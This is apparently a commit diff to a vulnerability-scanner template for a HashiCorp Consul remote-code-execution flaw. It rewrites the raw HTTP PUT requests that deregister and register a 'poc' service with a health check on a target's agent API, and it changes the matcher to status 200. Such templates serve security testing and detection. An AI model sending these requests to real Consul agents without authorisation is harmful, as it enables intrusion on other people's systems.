Update hashicorp-consul-rce.yaml

vulnerabilities/other/hashicorp-consul-rce.yaml

@@ -10,21 +10,23 @@ info:
 
 requests:
   - raw:
-      - |
+      - | # remove USER
+        PUT /v1/agent/service/deregister/poc HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Connection: close
+
+      - | # Create USER 
         PUT /v1/agent/service/register HTTP/1.1
         Host: {{Hostname}}
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-        Accept-Language: id,en-US;q=0.7,en;q=0.3
-        Accept-Encoding: gzip, deflate
-        DNT: 1
         Connection: close
         Upgrade-Insecure-Requests: 1
         Content-Length: 205
 
         {
-          "ID": "consul",
-          "Name": "consul",
+          "ID": "poc",
+          "Name": "poc",
           "Address": "127.0.0.1",
           "Port": 80,
           "check": {
@@ -34,21 +36,10 @@ requests:
             "Timeout": "86400s"
           }
         }
-      - |
-        PUT /v1/agent/service/deregister/consul HTTP/1.1
-        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
-        Connection: close
 
     matchers-condition: and
     matchers:
 
-      - type: word
-        words:
-          - "Deregistering the consul service is not allowed"
-        part: body
-        condition: and
-
       - type: status
         status:
-          - 500
+          - 200